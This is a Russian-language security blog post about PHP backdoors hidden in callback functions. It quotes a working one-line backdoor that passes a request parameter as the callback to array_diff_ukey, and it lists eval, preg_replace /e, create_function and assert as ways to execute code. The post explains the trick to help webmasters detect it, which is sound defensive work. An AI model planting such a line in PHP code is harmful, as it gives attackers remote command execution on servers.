В PHP Callback функциях скрывается бэкдор

PHP Callback Functions Backdoor

Мы часто сталкиваемся с новыми изощренными способами, применяемыми авторами вредоносного ПО для запуска заразы на серверах. Некоторые из них очень интересны, другие — забавны. Есть и такие, которые своей необычностью просто ставят нас в тупик. Этот пост именно о последних.

Каждый, кто пишет код на PHP знает для чего предназначена функция eval(). Можно сказать, что она исполняет код, содержащийся в строке. Однако, есть много других путей для исполнения кода, которые не всегда столь очевидны. Самый популярный — использование функции preg_replace().

В соответствии со своим описанием, функция preg_replace производит поиск в строке subject совпадений с шаблоном pattern и заменяет их на replacement. К сожалению, при использовании «\e» модификатора, эта функция также исполняет код. Конечно, есть еще много способов выполнить код без использования eval(), например, create_function() или assert(). Все эти нестандартные методы исполнения кода делают процесс выявления угроз достаточно сложной процедурой.

Все вышеописанные вещи авторы вредоносного ПО частенько начали использовать для своих Бэкдоров.

Бэкдоры

Все началось со следующей строки кода, найденной в начале нормального PHP файла.
@array_diff_ukey(@array((string)$_REQUEST[‘password’]=>1), @array((string)stripslashes($_REQUEST[‘re_password’])=>2),$_REQUEST[‘login’]);

Это заставило меня поразмышлять некоторое время, прежде чем я понял как это может работать. В конце концов я понял, что проблема в Callback функции. Уже видите почему? Автор зловреда сделал колбек-функцию переменной «login», которая им же и контролируется. Вот так он мог задать Логин выполняемой функцией, что позволяло ему выполнять команды на сервере.

Посмотрите на пример:
pict_phpcode1

Злоумышленник мог выполнить любую команду, которую он хочет, на этом сервере за счет одной строчки кода. Что самое страшное, такая вещь не обнаруживалась ни одной антивирусной системой или другим софтом, которое мы используем.

Так в чем же основная опасность?

Большинство инструментов безопасности и всяческих статей, рекомендую вебмастерам обращать внимание на функции, которые часто используются в злонамеренных целях, такие как: eval, preg_replace, base64_decode и другие. Теперь вы знаете, что хакеры начинают активно использовать и самые безобидные функции в своих плохих для вас целях.

Запомните, что злоумышленники не ограничиваются одной функцией array_diff_ukey(), они могут использовать любую функцию, предполагающую коллбек.

Подготовлено по материалам Питера Грамантика.